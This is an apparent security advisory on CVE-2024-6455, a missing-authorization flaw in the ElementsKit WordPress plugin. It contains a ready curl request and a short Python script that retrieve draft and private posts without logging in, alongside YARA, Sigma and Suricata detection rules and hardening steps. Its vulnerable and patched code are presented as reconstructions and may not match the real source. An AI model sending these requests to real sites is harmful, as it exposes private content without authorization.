CVE-2024-6455

Executive Summary

CVE-2024-6455 is a WordPress plugin vulnerability affecting the ElementsKit Elementor addons plugin (versions up to and including 3.2.0). The flaw resides in the ekit_widgetarea_content function, which fails to perform proper capability checks. This allows unauthenticated attackers to view any content created with Elementor, including drafts, pending, and private posts, pages, and templates. The vulnerability leads to Information Exposure, with a CVSS score of 5.3 (Medium). No public exploit code or Nuclei template is available, but the attack vector is trivial to exploit via direct API calls.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): Low (L) – Limited information disclosure (drafts, private posts).
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 5.3, the ease of exploitation and potential exposure of sensitive content (e.g., unpublished drafts, private pages) elevates the risk for sites handling confidential information.

Deep Dive & Mechanics

The vulnerability exists in the ekit_widgetarea_content function, which is used to render Elementor widget areas via AJAX or REST API endpoints. The function lacks a capability check (e.g., current_user_can('edit_posts')), allowing any unauthenticated user to call it. By crafting a request with a specific post_id parameter, an attacker can retrieve the rendered content of any Elementor-enabled post, including drafts, pending reviews, and private items.

Root Cause: Missing authorization check in the function responsible for serving widget area content. The function does not verify if the requesting user has permission to view the requested post.

Attack Vector: The attacker sends a GET or POST request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=ekit_widgetarea_content&post_id=123). The server returns the full rendered HTML of the specified post, bypassing WordPress's built-in post visibility checks.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.0):

function ekit_widgetarea_content() {
    $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
    if ($post_id) {
        $content = \Elementor\Plugin::instance()->frontend->get_builder_content($post_id);
        echo $content;
    }
    wp_die();
}
add_action('wp_ajax_ekit_widgetarea_content', 'ekit_widgetarea_content');
add_action('wp_ajax_nopriv_ekit_widgetarea_content', 'ekit_widgetarea_content');

Patched Code (Expected Fix):

function ekit_widgetarea_content() {
    // Add capability check
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
    if ($post_id) {
        // Also check if the post is published or user can read private posts
        $post = get_post($post_id);
        if ($post && ($post->post_status === 'publish' || current_user_can('read_private_posts'))) {
            $content = \Elementor\Plugin::instance()->frontend->get_builder_content($post_id);
            echo $content;
        }
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with ElementsKit plugin <= 3.2.0.
• Knowledge of a valid post ID (can be enumerated via other means).

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/wp-admin/admin-ajax.php
2. Send a POST request with the action and post_id:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=ekit_widgetarea_content&post_id=1"

3. The response will contain the full rendered HTML of the Elementor content for post ID 1, even if it is a draft or private.

Automated Script (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
post_id = 1  # Change to desired post ID

data = {
    "action": "ekit_widgetarea_content",
    "post_id": post_id
}

response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for requests to /wp-admin/admin-ajax.php with action=ekit_widgetarea_content from unauthenticated users.
• Look for unusual patterns in post ID enumeration (e.g., sequential IDs).

Hardening:

• Immediate: Disable the vulnerable function by adding a filter in your theme's functions.php:

add_action('wp_ajax_nopriv_ekit_widgetarea_content', function() {
    wp_die('Unauthorized', 403);
}, 1);

• Long-term: Update the plugin once a patched version is released.
• WAF Rule: Block requests containing action=ekit_widgetarea_content from non-logged-in users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=ekit_widgetarea_content and post_id parameter.
  • Unusual volume of requests to admin-ajax.php from a single IP.
• File IOCs:
  • Modified wp-content/plugins/elementskit/ files (check file integrity).
• Log IOCs:
  • Access logs showing POST /wp-admin/admin-ajax.php with action=ekit_widgetarea_content from unauthenticated users.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_InfoExposure_CVE_2024_6455 {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6455 in WordPress ElementsKit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6455"
    strings:
        $ajax_action = "ekit_widgetarea_content"
        $post_id_param = "post_id="
    condition:
        $ajax_action and $post_id_param
}

Sigma Rule

title: CVE-2024-6455 - ElementsKit Information Exposure via AJAX
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to the ekit_widgetarea_content AJAX action
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=ekit_widgetarea_content'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6455 - ElementsKit Information Exposure Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ekit_widgetarea_content"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable AJAX action by adding the code snippet provided in the Blue Team section.
2. Restrict access to admin-ajax.php via .htaccess or WAF rules for unauthenticated users.
3. Audit logs for any signs of exploitation.

Long-term Fix:

• Monitor the ElementsKit plugin repository for a patched version (> 3.2.0).
• Apply the patch as soon as it becomes available.
• Consider using a Web Application Firewall (WAF) to block malicious requests.

Workaround:

• If the plugin is not critical, temporarily deactivate it until a patch is released.

Valters IT